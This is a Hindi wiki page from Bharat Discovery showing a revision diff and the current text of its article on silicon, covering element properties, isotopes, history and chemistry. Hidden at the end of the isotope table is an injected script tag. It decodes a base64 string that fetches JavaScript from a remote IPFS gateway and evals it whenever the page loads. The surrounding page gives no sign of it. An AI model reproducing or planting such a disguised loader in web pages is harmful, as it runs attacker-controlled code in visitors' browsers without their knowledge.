"सिलिकॉन" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} {{tocright}} सिलिकॉन आवर्त सारणी के चतुर्थ सम...' के साथ नया पन्ना बनाया)
 
 
(3 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
−
{{पुनरीक्षण}}
+
{{Elementbox
−
{{tocright}}
+
|appearance=चमकीला क्रिस्टल
−
सिलिकॉन [[आवर्त सारणी]] के चतुर्थ समूह का दूसरा [[अधातु]] [[तत्व]] है। सिलिकॉन के तीन स्थायी समस्थानिक होते है, जिनके [[परमाणु भार]] क्रमश: 28.29 है। यह स्वतंत्र अवस्था में नहीं मिलता।
+
|image name=Silicon.jpg
 +
|image size=
 +
|image name comment=
 +
|image name 2=Silicon-Spectra.jpg
 +
|image name 2 comment=सिलिकॉन की वर्णक्रम रेखाएँ
 +
|name=सिलिकॉन
 +
|number=14
 +
|symbol=Si
 +
|pronounce=
 +
|left=[[ऐलुमिनियम]]
 +
|right=[[फॉस्फोरस]]
 +
|above=[[कार्बन|C]]
 +
|below=[[जरमेनियम|Ge]]
 +
|hindi name=सैकता
 +
|series=[[उपधातु]]
 +
|series comment=
 +
|group=14
 +
|period=3
 +
|block=p
 +
|series color=
 +
|phase color=
 +
|atomic mass=28.0855
 +
|atomic mass 2=3
 +
|atomic mass comment=
 +
|electron configuration=1s<sup>2</sup> 2s<sup>2</sup> 2p<sup>6</sup> 3s<sup>2</sup> 3p<sup>2</sup>
 +
|electrons per shell=2, 8, 4
 +
|color=
 +
|phase=ठोस
 +
|phase comment=
 +
|density gplstp=
 +
|density gpcm3nrt=2.3290
 +
|density gpcm3nrt 2=
 +
|density gpcm3mp=2.57
 +
|melting point K=1687
 +
|melting point C=1414
 +
|melting point F=2577
 +
|boiling point K=3538
 +
|boiling point C=3265
 +
|boiling point F=5909
 +
|triple point K=
 +
|triple point kPa=
 +
|critical point K=
 +
|critical point MPa=
 +
|heat fusion=50.21
 +
|heat fusion 2=
 +
|heat vaporization=359
 +
|heat capacity=19.789
 +
|Entropy = 18.7 J&thinsp;mol<sup>&minus;1</sup>&thinsp;K<sup>&minus;1</sup>
 +
|vapor pressure 1=1908
 +
|vapor pressure 10=2102
 +
|vapor pressure 100=2339
 +
|vapor pressure 1 k=2636
 +
|vapor pressure 10 k=3021
 +
|vapor pressure 100 k=3537
 +
|vapor pressure comment=
 +
|crystal structure=
 +
|oxidation states='''4''', 3 , 2 , 1, -1, -2, -3, -4
 +
|oxidation states comment=उभयधर्मी ऑक्साइड
 +
|electronegativity=1.90
 +
|number of ionization energies=4
 +
|1st ionization energy=786.5
 +
|2nd ionization energy=1577.1
 +
|3rd ionization energy=3231.6
 +
|atomic radius=111
 +
|atomic radius calculated=
 +
|covalent radius=111
 +
|Van der Waals radius=210
 +
|magnetic ordering=[[प्रतिचुम्बकीय पदार्थ|प्रतिचुम्बकीय]]
 +
|electrical resistivity=
 +
|electrical resistivity at 0=
 +
|electrical resistivity at 20=10<sup>3</sup> 
 +
|thermal conductivity=149
 +
|thermal conductivity 2=
 +
|thermal diffusivity=
 +
|thermal expansion=
 +
|thermal expansion at 25=2.6
 +
|speed of sound=
 +
|speed of sound rod at 20=8433
 +
|speed of sound rod at r.t.=
 +
|Young's modulus=185
 +
|Shear modulus=52
 +
|Bulk modulus=100
 +
|Poisson ratio=0.28
 +
|Mohs hardness=7
 +
|Vickers hardness=
 +
|Brinell hardness=
 +
|CAS number=7440-21-3
 +
|Band gap=1.12
 +
|isotopes=
 +
{{Elementbox_isotopes_stable | mn=28 | sym=Si | na=92.23% | n=14 }}
 +
{{Elementbox_isotopes_stable | mn=29 | sym=Si | na=4.67% | n=15 }}
 +
{{Elementbox_isotopes_stable | mn=30 | sym=Si | na=3.1% | n=16 }}
 +
{{Elementbox_isotopes_decay | mn=32 | sym=Si | na=ट्रेस | hl=170 y | dm=β<sup>−</sup> | de=13.020 | pn=32 | ps=[[फॉस्फोरस|P]] }}
 +
|isotopes comment=
 +
}}
 +
'''सिलिकॉन''' ([[अंग्रेज़ी भाषा|अंग्रेज़ी]]:Silicon) [[आवर्त सारणी]] के चतुर्थ समूह का दूसरा [[अधातु]] [[तत्व]] है। सिलिकॉन के तीन स्थायी समस्थानिक होते है, जिनके [[परमाणु भार]] क्रमश: 28.29 है। यह स्वतंत्र अवस्था में नहीं मिलता।
  
−
सिलिकॉन डाई [[ऑक्साइड]] अथवा सिलकन को वैज्ञानिक प्राचीन काल से तत्व मानते आए हैं। सर्वप्रथम फ्रांसीसी वैज्ञानिक लेवाजिये ने यह बताया कि यह तत्व न होकर ऑक्साइड [[यौगिक]] है। 1823 ई. में स्वीडन के रसायन व बर्जीलियस ने इस तत्व के पोटैशियम सिलिको फ्लोराइड (K<sub>2</sub>SiF<sub>6</sub>) का [[पोटैशियम]] [[धातु]] द्वारा अपचयन कर प्राप्त किया। 1854 में फ्रांसीसी वैज्ञानिक सांत क्लेर देविल ने इसे विशुद्ध अवस्था में तैयार किया।
+
सिलिकॉन डाई ऑक्साइड अथवा सिलकन को वैज्ञानिक प्राचीन काल से तत्व मानते आए हैं। सर्वप्रथम फ्रांसीसी वैज्ञानिक लेवाजिये ने यह बताया कि यह तत्व न होकर [[ऑक्साइड]] [[यौगिक]] है। 1823 ई. में स्वीडन के रसायन व बर्जीलियस ने इस तत्व के पोटैशियम सिलिको फ्लोराइड (K<sub>2</sub>SiF<sub>6</sub>) का [[पोटैशियम]] [[धातु]] द्वारा अपचयन कर प्राप्त किया। 1854 में फ्रांसीसी वैज्ञानिक सांत क्लेर देविल ने इसे विशुद्ध अवस्था में तैयार किया।
  
 
==उपस्थिति==
 
==उपस्थिति==
−
भूपर्पटी का चौथाई भाग सिलिकॉन है। यह ऑक्सीन के बाद सबसे अधिक मात्रा में पाया जाने वाला तत्व है और संयुक्त अवस्था में प्राय: सभी स्थानों में पाया जाता है। ऑक्सीजन जन से संयुक्त केवल सिलिकॉन डाईऑक्साइड (SiO<sub>2</sub>) है। रेत अथवा सिलिकेट्स के रूप में पत्थरों, [[मिट्टी]] तथा [[खनिज]] [[पदार्थ|पदार्थों]] में सिलिकॉन सर्वदा उपस्थित है। अनेक पौधों तथा पशु शरीर में भी यह मिलता है।
+
भूपर्पटी का चौथाई भाग सिलिकॉन है। यह [[ऑक्सीजन]] के बाद सबसे अधिक मात्रा में पाया जाने वाला तत्व है और संयुक्त अवस्था में प्राय: सभी स्थानों में पाया जाता है। ऑक्सीजन जन से संयुक्त केवल सिलिकॉन डाईऑक्साइड (SiO<sub>2</sub>) है। रेत अथवा सिलिकेट्स के रूप में पत्थरों, [[मिट्टी]] तथा [[खनिज]] [[पदार्थ|पदार्थों]] में सिलिकॉन सर्वदा उपस्थित है। अनेक पौधों तथा पशु शरीर में भी यह मिलता है।
  
 
==निर्माण==
 
==निर्माण==
पंक्ति 12: पंक्ति 107:
  
 
==गुण==
 
==गुण==
−
विशुद्ध सिलिकॉन मिलना कठिन है। अन्य तत्वों की सूक्ष्म मात्रा द्वारा इसके गुणों में बहुत अंतर आ जाता है, जिसके कारण विभिन्न विधियों से प्राप्त सिलिकॉन के गुण भिन्न-भिन्न ही मिलते हैं। विशुद्ध सिलिकॉन के कुछ स्थिरांक जैसे संकेत (Si) [[परमाणु संख्या]] 14, [[परमाणु भार]] 28.086, [[गलनांक]] 1410° सें., क्वथनांकन 2680° सें., [[घनत्व]] 2.33 ग्राम प्रति घ. सेंमी. परमाणु व्यास 1.32 एंगस्ट्राम, विशिष्ट ताप 0.162 कैलोरी और वर्तनांक 4.24 हैं। सिलिकॉन क्रिस्टलीय और अक्रिस्टलीय दोनों अवस्थाओं में मिलता है। क्रिस्टल सिलिकॉन में [[धातु]] की सी चमक और [[विद्युत]] चालकता होती है। यह काँच से भी कठोर है।
+
विशुद्ध सिलिकॉन मिलना कठिन है। अन्य तत्वों की सूक्ष्म मात्रा द्वारा इसके गुणों में बहुत अंतर आ जाता है, जिसके कारण विभिन्न विधियों से प्राप्त सिलिकॉन के गुण भिन्न-भिन्न ही मिलते हैं। विशुद्ध सिलिकॉन के कुछ स्थिरांक जैसे संकेत (Si) [[परमाणु संख्या]] 14, [[परमाणु भार]] 28.086, [[गलनांक]] 1410° सें., [[क्वथनांक]] 2680° सें., [[घनत्व]] 2.33 ग्राम प्रति घ. सेंमी. परमाणु व्यास 1.32 एंगस्ट्राम, विशिष्ट ताप 0.162 कैलोरी और वर्तनांक 4.24 हैं। सिलिकॉन क्रिस्टलीय और अक्रिस्टलीय दोनों अवस्थाओं में मिलता है। क्रिस्टल सिलिकॉन में [[धातु]] की सी चमक और [[विद्युत]] चालकता होती है। यह काँच से भी कठोर है।
  
−
सिलिकॉन जल या साधारण [[अम्ल|अम्लों]] से प्रभावित नहीं होता। केवल हाइड्रोफ्लोरिक अम्ल की क्रिया द्वारा फ्लोरोसिलिसिक अम्ल (H<sub>2</sub>SiF<sub>6</sub>) बनाता है। उबलते [[क्षार]] के विलयन की अभिक्रिया द्वारा सिलिकेट बनता है। फ्लोरीन तथा [[क्लोरीन]] [[गैस]] सिलिकॉन से शीघ्र किया कर क्रमश: सिलिकॉन फ्लोराइड (SiF<sub>4</sub>) और सिलिकॉन क्लोराइड (SiCl<sub>4</sub>) बनाते हैं। उच्च [[ताप]] पर [[ऑक्सीजन]], जलवाष्प तथा अनेक [[धातु|धातुएँ]] सिलिकॉन से अभिक्रिया करती हैं।
+
सिलिकॉन [[जल]] या साधारण [[अम्ल|अम्लों]] से प्रभावित नहीं होता। केवल हाइड्रोफ्लोरिक अम्ल की क्रिया द्वारा फ्लोरोसिलिसिक अम्ल (H<sub>2</sub>SiF<sub>6</sub>) बनाता है। उबलते [[क्षार]] के विलयन की अभिक्रिया द्वारा सिलिकेट बनता है। [[फ्लोरीन]] तथा [[क्लोरीन]] [[गैस]] सिलिकॉन से शीघ्र किया कर क्रमश: सिलिकॉन फ्लोराइड (SiF<sub>4</sub>) और सिलिकॉन क्लोराइड (SiCl<sub>4</sub>) बनाते हैं। उच्च [[ताप]] पर [[ऑक्सीजन]], जलवाष्प तथा अनेक [[धातु|धातुएँ]] सिलिकॉन से अभिक्रिया करती हैं।
  
−
सिलिकॉन चतुर्थ समूह का तत्व होने के कारण कार्बन से अनेक गुणों में मिलता-जुलता है। सिलिकॉन [[परमाणु]] के बाहरी कक्ष में चार [[इलेक्ट्रॉन]] हैं। ये इलेक्ट्रॉन अन्य तत्वों के इलेक्ट्रॉनों से मिलकर चार सहसंयोजक बंध बनाते हैं। इन बंधों में कार्बन से अधिक आयनिक गुण वर्तमान हैं। फिर भी इसके सहसंयोजक बंध बनाते हैं। इस बंधों में कार्बन से अधिक आयनिक गुण वर्तमान हैं। फिर भी इसके सहसंयोजक गुण प्रधान होते हैं। कभी-कभी चार संयोजकता से अधिक के यौगिक भी मिलते हैं।
+
सिलिकॉन चतुर्थ समूह का तत्व होने के कारण [[कार्बन]] से अनेक गुणों में मिलता-जुलता है। सिलिकॉन [[परमाणु]] के बाहरी कक्ष में चार [[इलेक्ट्रॉन]] हैं। ये इलेक्ट्रॉन अन्य तत्वों के इलेक्ट्रॉनों से मिलकर चार सहसंयोजक बंध बनाते हैं। इन बंधों में कार्बन से अधिक आयनिक गुण वर्तमान हैं। फिर भी इसके सहसंयोजक बंध बनाते हैं। इस बंधों में कार्बन से अधिक आयनिक गुण वर्तमान हैं। फिर भी इसके सहसंयोजक गुण प्रधान होते हैं। कभी-कभी चार संयोजकता से अधिक के यौगिक भी मिलते हैं।
  
−
{{संदर्भ ग्रंथ}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
−
==बाहरी कड़ियाँ==
 
−
 
 
==संबंधित लेख==
 
==संबंधित लेख==
−
{{आवर्त सारणी}}
+
{{आवर्त सारणी}}{{रसायन विज्ञान}}
 
[[Category:रसायन विज्ञान]]
 
[[Category:रसायन विज्ञान]]
 +
[[Category:रासायनिक तत्त्व]]
 +
[[Category:उपधातुएँ]]
 
[[Category:विज्ञान_कोश]]
 
[[Category:विज्ञान_कोश]]
−
[[Category:रासायनिक तत्त्व]]
 
 
__INDEX__
 
__INDEX__

06:23, 17 फ़रवरी 2021 के समय का अवतरण

सिलिकॉन
चमकीला क्रिस्टल

Silicon-Spectra.jpg
सिलिकॉन की वर्णक्रम रेखाएँ
साधारण गुणधर्म
नाम, प्रतीक, संख्या सिलिकॉन, Si, 14
हिन्दी नाम सैकता
तत्व श्रेणी उपधातु
समूह, आवर्त, कक्षा 14, 3, p
मानक परमाणु भार 28.0855g·mol−1
इलेक्ट्रॉन विन्यास 1s2 2s2 2p6 3s2 3p2
इलेक्ट्रॉन प्रति शेल 2, 8, 4
भौतिक गुणधर्म
अवस्था ठोस
घनत्व (निकट क.ता.) 2.3290 g·cm−3
तरल घनत्व
(गलनांक पर) 		2.57 g·cm−3
गलनांक 1687 K, 1414 °C, 2577 °F
क्वथनांक 3538 K, 3265 °C, 5909 °F
संलयन ऊष्मा 50.21 किलो जूल-मोल
वाष्पन ऊष्मा 359 किलो जूल-मोल
विशिष्ट ऊष्मीय
क्षमता 		19.789

जूल-मोल−1किलो−1

वाष्प दाब
P (Pa) 1 10 100 1 k 10 k 100 k
at T (K) 1908 2102 2339 2636 3021 3537
परमाण्विक गुणधर्म
ऑक्सीकरण अवस्था 4, 3 , 2 , 1, -1, -2, -3, -4
(उभयधर्मी ऑक्साइड)
इलेक्ट्रोनेगेटिविटी 1.90 (पाइलिंग पैमाना)
आयनीकरण ऊर्जाएँ
(अधिक) 		1st: 786.5 कि.जूल•मोल−1
2nd: 1577.1 कि.जूल•मोल−1
3rd: 3231.6 कि.जूल•मोल−1
परमाण्विक त्रिज्या 111 pm
सहसंयोजक त्रिज्या 111 pm
वैन्डैर वाल्स त्रिज्या 210 pm
विविध गुणधर्म
चुम्बकीय क्रम प्रतिचुम्बकीय
वैद्युत प्रतिरोधकता (20 °C) 103Ω·m
ऊष्मीय चालकता (300 K) 149 W·m−1·K−1
ऊष्मीय प्रसार (25 °C) 2.6 µm·m−1·K−1
ध्वनि चाल (पतली छड़ में) (20 °C) 8433 m.s-1
यंग मापांक 185 GPa
अपरूपण मापांक 52 GPa
स्थूल मापांक 100 GPa
पॉयज़न अनुपात 0.28
मोह्स कठोरता मापांक 7
सी.ए.एस पंजीकरण
संख्या 		7440-21-3
बैंड गैप ऊर्जा
300 केल्विन पर 		1.12 eV
समस्थानिक
समस्थानिक प्रा. प्रचुरता अर्द्ध आयु क्षरण अवस्था क्षरण ऊर्जा
(MeV) 		क्षरण उत्पाद
28Si 92.23% 28Si 14 न्यूट्रॉन के साथ स्थिर
29Si 4.67% 29Si 15 न्यूट्रॉन के साथ स्थिर
30Si 3.1% 30Si 16 न्यूट्रॉन के साथ स्थिर
32Si ट्रेस 170 y β− 13.020 32P<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सिलिकॉन (अंग्रेज़ी:Silicon) आवर्त सारणी के चतुर्थ समूह का दूसरा अधातु तत्व है। सिलिकॉन के तीन स्थायी समस्थानिक होते है, जिनके परमाणु भार क्रमश: 28.29 है। यह स्वतंत्र अवस्था में नहीं मिलता।

सिलिकॉन डाई ऑक्साइड अथवा सिलकन को वैज्ञानिक प्राचीन काल से तत्व मानते आए हैं। सर्वप्रथम फ्रांसीसी वैज्ञानिक लेवाजिये ने यह बताया कि यह तत्व न होकर ऑक्साइड यौगिक है। 1823 ई. में स्वीडन के रसायन व बर्जीलियस ने इस तत्व के पोटैशियम सिलिको फ्लोराइड (K2SiF6) का पोटैशियम धातु द्वारा अपचयन कर प्राप्त किया। 1854 में फ्रांसीसी वैज्ञानिक सांत क्लेर देविल ने इसे विशुद्ध अवस्था में तैयार किया।

उपस्थिति

भूपर्पटी का चौथाई भाग सिलिकॉन है। यह ऑक्सीजन के बाद सबसे अधिक मात्रा में पाया जाने वाला तत्व है और संयुक्त अवस्था में प्राय: सभी स्थानों में पाया जाता है। ऑक्सीजन जन से संयुक्त केवल सिलिकॉन डाईऑक्साइड (SiO2) है। रेत अथवा सिलिकेट्स के रूप में पत्थरों, मिट्टी तथा खनिज पदार्थों में सिलिकॉन सर्वदा उपस्थित है। अनेक पौधों तथा पशु शरीर में भी यह मिलता है।

निर्माण

विद्युत भट्ठी में कार्बन द्वारा सिलिकॉन के डाईआक्साइड को अपचन कराकर सिलिकॉन प्राप्त किया जाता है। ऐलुमिनियम, पोटैशियम या जिंक की सिलिकॉन क्लोराइड (SiCl4) पर क्रिया द्वारा भी सिलिकॉन तत्व बनाया गया है। रक्त तप्त टेंटेलम पर सिलिकॉन क्लोराइड के विघटन द्वारा विशुद्ध अवस्था में सिलिकॉन प्राप्त होता है।

गुण

विशुद्ध सिलिकॉन मिलना कठिन है। अन्य तत्वों की सूक्ष्म मात्रा द्वारा इसके गुणों में बहुत अंतर आ जाता है, जिसके कारण विभिन्न विधियों से प्राप्त सिलिकॉन के गुण भिन्न-भिन्न ही मिलते हैं। विशुद्ध सिलिकॉन के कुछ स्थिरांक जैसे संकेत (Si) परमाणु संख्या 14, परमाणु भार 28.086, गलनांक 1410° सें., क्वथनांक 2680° सें., घनत्व 2.33 ग्राम प्रति घ. सेंमी. परमाणु व्यास 1.32 एंगस्ट्राम, विशिष्ट ताप 0.162 कैलोरी और वर्तनांक 4.24 हैं। सिलिकॉन क्रिस्टलीय और अक्रिस्टलीय दोनों अवस्थाओं में मिलता है। क्रिस्टल सिलिकॉन में धातु की सी चमक और विद्युत चालकता होती है। यह काँच से भी कठोर है।

सिलिकॉन जल या साधारण अम्लों से प्रभावित नहीं होता। केवल हाइड्रोफ्लोरिक अम्ल की क्रिया द्वारा फ्लोरोसिलिसिक अम्ल (H2SiF6) बनाता है। उबलते क्षार के विलयन की अभिक्रिया द्वारा सिलिकेट बनता है। फ्लोरीन तथा क्लोरीन गैस सिलिकॉन से शीघ्र किया कर क्रमश: सिलिकॉन फ्लोराइड (SiF4) और सिलिकॉन क्लोराइड (SiCl4) बनाते हैं। उच्च ताप पर ऑक्सीजन, जलवाष्प तथा अनेक धातुएँ सिलिकॉन से अभिक्रिया करती हैं।

सिलिकॉन चतुर्थ समूह का तत्व होने के कारण कार्बन से अनेक गुणों में मिलता-जुलता है। सिलिकॉन परमाणु के बाहरी कक्ष में चार इलेक्ट्रॉन हैं। ये इलेक्ट्रॉन अन्य तत्वों के इलेक्ट्रॉनों से मिलकर चार सहसंयोजक बंध बनाते हैं। इन बंधों में कार्बन से अधिक आयनिक गुण वर्तमान हैं। फिर भी इसके सहसंयोजक बंध बनाते हैं। इस बंधों में कार्बन से अधिक आयनिक गुण वर्तमान हैं। फिर भी इसके सहसंयोजक गुण प्रधान होते हैं। कभी-कभी चार संयोजकता से अधिक के यौगिक भी मिलते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

आवर्त सारणी
H   He
Li Be   B C N O F Ne
Na Mg   Al Si P S Cl Ar
K Ca   Sc Ti V Cr Mn Fe Co Ni Cu Zn Ga Ge As Se Br Kr
Rb Sr   Y Zr Nb Mo Tc Ru Rh Pd Ag Cd In Sn Sb Te I Xe
Cs Ba La Ce Pr Nd Pm Sm Eu Gd Tb Dy Ho Er Tm Yb Lu Hf Ta W Re Os Ir Pt Au Hg Tl Pb Bi Po At Rn
Fr Ra Ac Th Pa U Np Pu Am Cm Bk Cf Es Fm Md No Lr Rf Db Sg Bh Hs Mt Ds Rg Cn Uut Uuq Uup Lv Uus Uuo
क्षार धातुएँ क्षारीय पार्थिव धातुएँ लेन्थेनाइडस ऐक्टिनाइडस संक्रमण धातुएँ संक्रमणोपरांत धातु उपधातुएँ अन्य अधातु हैलोजन्स अक्रिय गैस
रसायन विज्ञान
भौतिक रसायन
अणु · अम्ल · इलेक्ट्रॉन · इलेक्ट्रॉनिक विन्यास · ईंधन · ऑफ़बाऊ नियम · गैस · अश्रु गैस · अंतरतारकीय गैस · तत्त्व · द्रव · द्रव्यमान संख्या · नाभिक · न्यूट्रॉन · पदार्थ · परमाणु · परमाणु भार · परमाणु द्रव्यमान · परमाणु संख्या · प्रोटॉन · ठोस · अकेलास ठोस · मोल · विषमांग मिश्रण · समइलेक्ट्रॉनिक · समन्यूट्रॉनिक · समभारिक · समस्थानिक · समांग मिश्रण · अणु भार · अनिश्चितता सिद्धान्त · अपवर्जन नियम · यौगिक · लवण · मिश्रण · कण भार · क्वथन · क्वथनांक · क्वाण्टम संख्या · क्षारक · खनिज · अदह · खनिज लवण · ग्राम अणु भार · द्रवणांक · विद्युत अपघटन · बहुलता नियम · मोल धारणा · वाष्पन · वाष्पीकरण · वाष्प दाब · केशिकत्व · समावयवता · हाइड्रोजन के समस्थानिक · हिमकारी मिश्रण · हिमांक · परासरण · अतिशीतन और अतितापन · अतिसूक्ष्म रसायन · अनुनाद और आयनीकरण विभव · अयस्कनिक्षेप · आक्सैलिक अम्ल · ईथर · एसिटिक अम्ल · एस्पिरिन · अवस्था समीकरण
अकार्बनिक रसायन
अक्रिय गैस · अधातु · अवधि (आवर्त सारणी) · आवर्त सारणी · समूह (आवर्त सारणी) · धातु · उपधातु · क्षार धातु · क्षारीय पार्थिव धातु · तत्वों की सूची · तत्वों की सूची (नामानुसार) · समावयवी यौगिक · तत्वों की सूची (परमाणु संख्यानुसार) · तत्वों की सूची (प्रतीकानुसार) · मिश्रधातु · अपरूपता · नाइक्रोम · संक्रमण धातु · अष्टधातु · संक्रमणोपरांत धातु
कार्बनिक रसायन
अपररूपता · अमोनिया · अम्लीय ऑक्साइड · अम्लीय लवण · कीटनाशक · कीटोन · अल्कोहल · आंशिक आसवन · आसवन विधि · उदासीन ऑक्साइड · उदासीन लवण · उर्वरक · मंड · ऊर्ध्वपातन · ऐसीटोन · ऑक्साइड · कार्बोहाइड्रेट · ग्लूकोज़ · क्षारीय ऑक्साइड · क्षारीय लवण · हाइड्रोजनीकरण · प्रभाजी आसवन · उत्प्रेरण · विरंजन · प्रोटीन · भाप आसवन · विसरण · रवाकरण · ऑक्सीकरण · अपचयन · वसा · आस्मियम
तत्त्व
हाइड्रोजन · लिथियम · सोडियम · पोटैशियम · रूबिडियम · सीज़ियम · फ्रैनशियम · बेरिलियम · मैग्नीशियम · कैल्सियम · स्ट्रॉन्शियम · बेरियम · रेडियम · लैंथेनम · सीरियम · प्रासियोडाइमियम · नियोडाइमियम · प्रोमेथियम · सैमरियम · युरोपियम · ग्याडोलिनियम · टर्बियम · डिस्प्रोसियम · होल्मियम · अर्बियम · थुलियम · यिट्टरबियम · लुटेटियम · ऐक्टीनियम · थोरियम · प्रोटैक्टीनियम · यूरेनियम · नेप्चूनियम · प्लूटोनियम · अमेरिसियम · क्यूरियम · बर्केलियम · कैलिफ़ोर्नियम · आइंस्टीनियम · फ़र्मियम · मेण्डेलेवियम · नोबेलियम · लारेन्सियम · स्कैंडियम · इत्रियम · टाइटेनियम · जर्कोनियम · हाफ्नियम · रुथरफोर्डियम · वैनेडियम · नियोबियम · टैंटेलम · डब्नियम · क्रोमियम · मोलिब्डेनम · टंग्स्टन · सीबोर्गियम · मैंगनीज · टेक्निशियम · रेनियम · बोरियम · लोहा · रूथेनियम · ऑस्मियम · हसियम · कोबाल्ट · रोडियम · इरिडियम · मेइट्नेरियम · निकिल · पलाडियम · प्लेटिनम · डार्म्स्टेडशियम · ताम्र · चांदी · स्वर्ण · रॉन्टजैनियम · जस्ता · कैडमियम · पारा · कॉपरनिशियम · बोरोन · सिलिकॉन · जरमेनियम · आर्सेनिक · एन्टिमोनी · टेलुरियम · पोलोनियम · ऐलुमिनियम · गैलियम · इण्डियम · थैलियम · टिन · सीसा · बिस्मथ · कार्बन · फॉस्फोरस · गंधक · सेलेनियम · नाइट्रोजन · ऑक्सीजन · फ़्लोरीन · क्लोरीन · ब्रोमिन · आयोडिन · एस्टेटीन · हीलियम · निऑन · आर्गन · क्रिप्टन · ज़ेनॉन · रेडॉन · अनअनट्रियम · अनअनक्वेडियम · अनअनपैन्शियम · लिवरमोरियम · अनअनसेप्टियम · अनअनऑक्टियम
यौगिक
अन्य
"https://bharatdiscovery.org/bharatkosh/w/index.php?title=सिलिकॉन&oldid=658535" से लिया गया
सर्वाधिकार सुरक्षित
Powered by MediaWiki
Powered by Semantic MediaWiki